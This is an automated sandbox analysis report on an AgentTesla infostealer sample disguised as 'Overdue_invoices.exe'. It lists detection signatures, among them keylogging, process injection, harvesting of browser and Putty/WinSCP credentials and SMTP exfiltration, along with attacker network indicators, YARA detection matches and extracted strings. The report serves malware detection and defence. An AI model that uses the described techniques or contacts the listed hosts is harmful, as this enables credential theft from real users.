Play interactive tour

Edit tour

Analysis Report Overdue_invoices.exe

Overview

General Information

Sample Name:	Overdue_invoices.exe
Analysis ID:	344973
MD5:	afa35ee8f27c8a6661219bccb198fd9b
SHA1:	8b86a3066a24586bd5d17ce45ce8bd7984079af0
SHA256:	2d2c26b0f3308bda9e00913401761b8b5026edccfbe12bce7a72cd2d324c2f45
Tags:	exe
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Executable has a suspicious name (potential lure to open the executable)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

May check the online IP address of the machine

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Is looking for software installed on the system

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w10x64

Overdue_invoices.exe (PID: 5328 cmdline: 'C:\Users\user\Desktop\Overdue_invoices.exe' MD5: AFA35EE8F27C8A6661219BCCB198FD9B)

Overdue_invoices.exe (PID: 6020 cmdline: C:\Users\user\Desktop\Overdue_invoices.exe MD5: AFA35EE8F27C8A6661219BCCB198FD9B)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "", "URL: ": "", "To: ": "", "ByHost: ": "smtp.gmail.com:5874", "Password: ": "", "From: ": ""}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x170:$op1: 04 1E FE 02 04 16 FE 01 60 0x84:$op2: 00 17 03 1F 20 17 19 15 28 0xb01:$op3: 00 04 03 69 91 1B 40 0x1360:$op3: 00 04 03 69 91 1B 40
00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0xff0:$op1: 04 1E FE 02 04 16 FE 01 60 0x18810:$op1: 04 1E FE 02 04 16 FE 01 60 0x30250:$op1: 04 1E FE 02 04 16 FE 01 60 0xf04:$op2: 00 17 03 1F 20 17 19 15 28 0x18724:$op2: 00 17 03 1F 20 17 19 15 28 0x30164:$op2: 00 17 03 1F 20 17 19 15 28 0x1981:$op3: 00 04 03 69 91 1B 40 0x21e0:$op3: 00 04 03 69 91 1B 40 0x191a1:$op3: 00 04 03 69 91 1B 40 0x19a00:$op3: 00 04 03 69 91 1B 40 0x30be1:$op3: 00 04 03 69 91 1B 40 0x31440:$op3: 00 04 03 69 91 1B 40
Process Memory Space: Overdue_invoices.exe PID: 6020	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.Overdue_invoices.exe.400000.0.unpack	Quasar_RAT_1	Detects Quasar RAT	Florian Roth	0x370:$op1: 04 1E FE 02 04 16 FE 01 60 0x284:$op2: 00 17 03 1F 20 17 19 15 28 0xd01:$op3: 00 04 03 69 91 1B 40 0x1560:$op3: 00 04 03 69 91 1B 40

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: Overdue_invoices.exe.6020.1.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "", "URL: ": "", "To: ": "", "ByHost: ": "smtp.gmail.com:5874", "Password: ": "", "From: ": ""}

Multi AV Scanner detection for submitted file

Show sources

Source: Overdue_invoices.exe

ReversingLabs: Detection: 17%

Compliance:

Uses 32bit PE files

Show sources

Source: Overdue_invoices.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: Overdue_invoices.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Networking:

May check the online IP address of the machine

Show sources

Source: unknown	DNS query: name: icanhazip.com
Source: unknown	DNS query: name: icanhazip.com

Source: global traffic

TCP traffic: 192.168.2.3:49736 -> 108.177.119.109:587

Source: global traffic	HTTP traffic detected: GET /base/D87080E8818FCC40A45F948026A84297.html HTTP/1.1Host: 193.239.147.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 193.239.147.103 193.239.147.103

Source: global traffic

TCP traffic: 192.168.2.3:49736 -> 108.177.119.109:587

Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103
Source: unknown	TCP traffic detected without corresponding DNS query: 193.239.147.103

Source: global traffic	HTTP traffic detected: GET /base/D87080E8818FCC40A45F948026A84297.html HTTP/1.1Host: 193.239.147.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive

Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp

String found in binary or memory: ium PDF Plugin","versions":[{"comment":"Chromium PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"divx-player":{"group_name_matcher":"*DivX Web Player*","help_url":"https://support.google.com/chrome/?p=plugin_divx","lang":"en-US","mime_types":["video/divx","video/x-matroska"],"name":"DivX Web Player","url":"http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe","versions":[{"status":"requires_authorization","version":"1.4.3.4"}]},"facebook-video-calling":{"group_name_matcher":"*Facebook Video*","lang":"en-US","mime_types":["application/skypesdk-plugin"],"name":"Facebook Video Calling","url":"https://www.facebook.com/chat/video/videocalldownload.php","versions":[{"comment":"We do not track version information for the Facebook Video Calling Plugin.","status":"requires_authorization","version":"0"}]},"google-chrome-pdf":{"group_name_matcher":"*Chrome PDF Viewer*","mime_types":[],"name":"Chrome PDF Viewer","versions":[{"comment":"Google Chrome PDF Viewer has no version information.","status":"fully_trusted","version":"0"}]},"google-chrome-pdf-plugin":{"group_name_matcher":"*Chrome PDF Plugin*","mime_types":[],"name":"Chrome PDF Plugin","versions":[{"comment":"Google Chrome PDF Plugin has no version information.","status":"fully_trusted","version":"0"}]},"google-earth":{"group_name_matcher":"*Google Earth*","lang":"en-US","mime_types":["application/geplugin"],"name":"Google Earth","url":"http://www.google.com/earth/explore/products/plugin.html","versions":[{"comment":"We do not track version information for the Google Earth Plugin.","status":"requires_authorization","version":"0"}]},"google-talk":{"group_name_matcher":"*Google Talk*","mime_types":[],"name":"Google Talk","versions":[{"comment":"'Google Talk Plugin' and 'Google Talk Plugin Video Accelerator' use two completely different versioning schemes, so we can't define a minimum version.","status":"requires_authorization","version":"0"}]},"google-update":{"group_name_matcher":"Google Update","mime-types":[],"name":"Google Update","versions":[{"comment":"Google Update plugin is versioned but kept automatically up to date","status":"requires_authorization","version":"0"}]},"ibm-java-runtime-environment":{"group_name_matcher":"*IBM*Java*","mime_types":["application/x-java-applet","application/x-java-applet;jpi-version=1.7.0_05","application/x-java-applet;version=1.1","application/x-java-applet;version=1.1.1","application/x-java-applet;version=1.1.2","application/x-java-applet;version=1.1.3","application/x-java-applet;version=1.2","application/x-java-applet;version=1.2.1","application/x-java-applet;version=1.2.2","application/x-java-applet;version=1.3","application/x-java-applet;version=1.3.1","application/x-java-applet;version=1.4","application/x-java-applet;version=1.4.1","application/x-java-applet;version=1.4.2","application/x-java-applet;version=1.5","application/x-java-applet;version=1.6","application/x-java-applet;version=1.7","application/x-java

Source: unknown

DNS traffic detected: queries for: raw.githubusercontent.com

Source: Overdue_invoices.exe, 00000000.00000002.230384205.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: http://193.239.147.103
Source: Overdue_invoices.exe, 00000000.00000002.230384205.00000000028E1000.00000004.00000001.sdmp	String found in binary or memory: http://193.239.147.103/base/D87080E8818FCC40A45F948026A84297.html
Source: Overdue_invoices.exe, 00000001.00000002.626165081.0000000003116000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.625972987.00000000030AF000.00000004.00000001.sdmp	String found in binary or memory: http://bit.ly/icanhazip-faq
Source: Overdue_invoices.exe, 00000001.00000002.625727686.00000000015E5000.00000004.00000020.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.goog/GTS1O1core.crl0
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.goog/gsr2/gsr2.crl0?
Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: Overdue_invoices.exe, 00000001.00000002.626165081.0000000003116000.00000004.00000001.sdmp	String found in binary or memory: http://icanhazip.com
Source: Overdue_invoices.exe, 00000001.00000002.626165081.0000000003116000.00000004.00000001.sdmp	String found in binary or memory: http://icanhazip.com/
Source: Overdue_invoices.exe, 00000001.00000002.625972987.00000000030AF000.00000004.00000001.sdmp	String found in binary or memory: http://icanhazip.com4
Source: Overdue_invoices.exe, 00000001.00000002.625776172.00000000018C6000.00000004.00000040.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.goog/gsr202
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.goog/gts1o1core0
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://pki.goog/gsr2/GTS1O1.crt0
Source: Overdue_invoices.exe, 00000000.00000002.230384205.00000000028E1000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.625927186.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Overdue_invoices.exe, 00000001.00000002.626846042.000000000328B000.00000004.00000001.sdmp	String found in binary or memory: http://smtp.gmail.com
Source: Overdue_invoices.exe, 00000001.00000002.625727686.00000000015E5000.00000004.00000020.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/
Source: Overdue_invoices.exe, 00000001.00000002.625659765.00000000015AD000.00000004.00000020.sdmp, Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/de-ch/
Source: Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.625516000.0000000001562000.00000004.00000020.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Overdue_invoices.exe, 00000001.00000002.627092072.0000000003391000.00000004.00000001.sdmp	String found in binary or memory: https://accounts.google.com/signin/continue?sarp=1&scc=1&plt=AKgnsbt
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: https://cdn.ecosia
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrom
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Overdue_invoices.exe, 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://i.imgur.com/9sS1RPE.png
Source: Overdue_invoices.exe, 00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://mail.google.com
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: Overdue_invoices.exe, 00000001.00000002.626078559.00000000030F0000.00000004.00000001.sdmp	String found in binary or memory: https://raw.githubusercontenP
Source: Overdue_invoices.exe, 00000001.00000002.626846042.000000000328B000.00000004.00000001.sdmp	String found in binary or memory: https://raw.githubusercontenPf~
Source: Overdue_invoices.exe, 00000001.00000002.625927186.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: Overdue_invoices.exe, 00000001.00000002.625927186.0000000003081000.00000004.00000001.sdmp	String found in binary or memory: https://raw.githubusercontent.com/pandalog/nothing/master/john.txt
Source: Overdue_invoices.exe, 00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://raw.githubusercontent.com/pandalog/nothing/master/john.txt)CqbkTHriRRbQjaArtJfFMC#
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_shockwave
Source: Overdue_invoices.exe, 00000001.00000002.626663289.0000000003236000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: Overdue_invoices.exe, 00000001.00000002.626044350.00000000030E4000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.627057496.000000000337F000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.627092072.0000000003391000.00000004.00000001.sdmp, Overdue_invoices.exe, 00000001.00000002.626025797.00000000030D4000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/mail/?p=WantAuthError
Source: Overdue_invoices.exe, 00000001.00000002.627092072.0000000003391000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/mail/answer/78754
Source: Overdue_invoices.exe, 00000000.00000002.230153111.0000000000B83000.00000004.00000020.sdmp	String found in binary or memory: https://wa.239.147.103/base/D87080E8818FCC40A45F948026A84297.html
Source: Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/
Source: Overdue_invoices.exe, 00000001.00000002.625659765.00000000015AD000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/chrome/defaLMEM
Source: Overdue_invoices.exe, 00000001.00000002.625727686.00000000015E5000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html
Source: Overdue_invoices.exe, 00000001.00000002.626238990.0000000003150000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: Overdue_invoices.exe, 00000001.00000002.625727686.00000000015E5000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0binLMEM
Source: Overdue_invoices.exe, 00000001.00000002.630576508.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/Nn
Source: Overdue_invoices.exe, 00000001.00000003.239380951.00000000041CE000.00000004.00000001.sdmp, browserCreditCards.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Contains functionality to log keystrokes (.Net Source)

Show sources

Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Core.cs

.Net Code: SetHook

Installs a global keyboard hook

Show sources

Source: C:\Users\user\Desktop\Overdue_invoices.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\Overdue_invoices.exe

Jump to behavior

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects Quasar RAT Author: Florian Roth
Source: 1.2.Overdue_invoices.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar RAT Author: Florian Roth

Executable has a suspicious name (potential lure to open the executable)

Show sources

Source: Overdue_invoices.exe

Static file information: Suspicious name

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: Overdue_invoices.exe

Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 0_2_00AD73B0	0_2_00AD73B0
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 0_2_00AD6C38	0_2_00AD6C38
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 0_2_00AD5748	0_2_00AD5748
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 1_2_07EF8A38	1_2_07EF8A38
Source: C:\Users\user\Desktop\Overdue_invoices.exe	Code function: 1_2_07EF3EC0	1_2_07EF3EC0

Source: Overdue_invoices.exe	Binary or memory string: OriginalFilename vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000000.00000002.230410070.000000000290F000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamepanda.exel% vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000000.00000002.230792815.00000000038E9000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSHIT.dll* vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000000.00000000.209905994.0000000000402000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameXDesProc.exeT vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000000.00000002.230130488.0000000000B5A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Overdue_invoices.exe
Source: Overdue_invoices.exe	Binary or memory string: OriginalFilename vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000002.629484659.0000000005630000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000000.225837924.0000000000DB2000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameXDesProc.exeT vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000002.624689682.000000000041A000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamepanda.exel% vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000002.629727948.00000000056A0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000002.625439956.000000000153A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000002.630778412.0000000006C30000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs Overdue_invoices.exe
Source: Overdue_invoices.exe, 00000001.00000002.624879877.0000000001158000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Overdue_invoices.exe
Source: Overdue_invoices.exe	Binary or memory string: OriginalFilenameXDesProc.exeT vs Overdue_invoices.exe

Source: Overdue_invoices.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE

Source: 00000001.00000002.624606390.0000000000402000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.231170766.0000000003AFD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.Overdue_invoices.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Quasar_RAT_1 date = 2017-04-07, hash4 = f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34, hash3 = 515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89, hash2 = 1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec, hash1 = 0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740, author = Florian Roth, description = Detects Quasar RAT, reference = https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Core.cs

Base64 encoded string: 'MrE1thusbvL9jUnxf1Lcqml0/hEjxyBHvYQkHfU0e7ZA3dt4j2WOl2OHNkC7kY9pQCzpNPPRj8Y=', 'iMKrIqJC9ZAyLRDh/GZR6J5a0LtY5Iepg2LkeJHYP3LxSJU5ojpXjijfzghF2Psa', 'G8WwiqyHtuMi36fzoXG0WXV3alulUlvJbG26GZ78bQx4lWjg5TCCVQ==', 'MXg5VX5jLbiBy9Cm6tjOR0HiHnsHY5fMkc3wHc95wy56a7HPbHGRobIWKceNtG8f', 'G8WwiqyHtuMi36fzoXG0WXV3alulUlvJbG26GZ78bQx4lWjg5TCCVQ==', 'zSUT/U/UiMfSdmJXIlMFYstwqPXc90mjAAO6NC1KQy6trroQ+1O8lQ=='

Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Sucks.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Sucks.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Core.cs	Security API names: System.Security.Principal.WindowsIdentity System.Security.Principal.WindowsIdentity::GetCurrent()
Source: 1.2.Overdue_invoices.exe.400000.0.unpack, NameSpace_Global/Core.cs	Security API names: System.Boolean System.Security.Principal.WindowsPrincipal::IsInRole(System.Security.Principal.WindowsBuiltInRole)

Source: classification engine

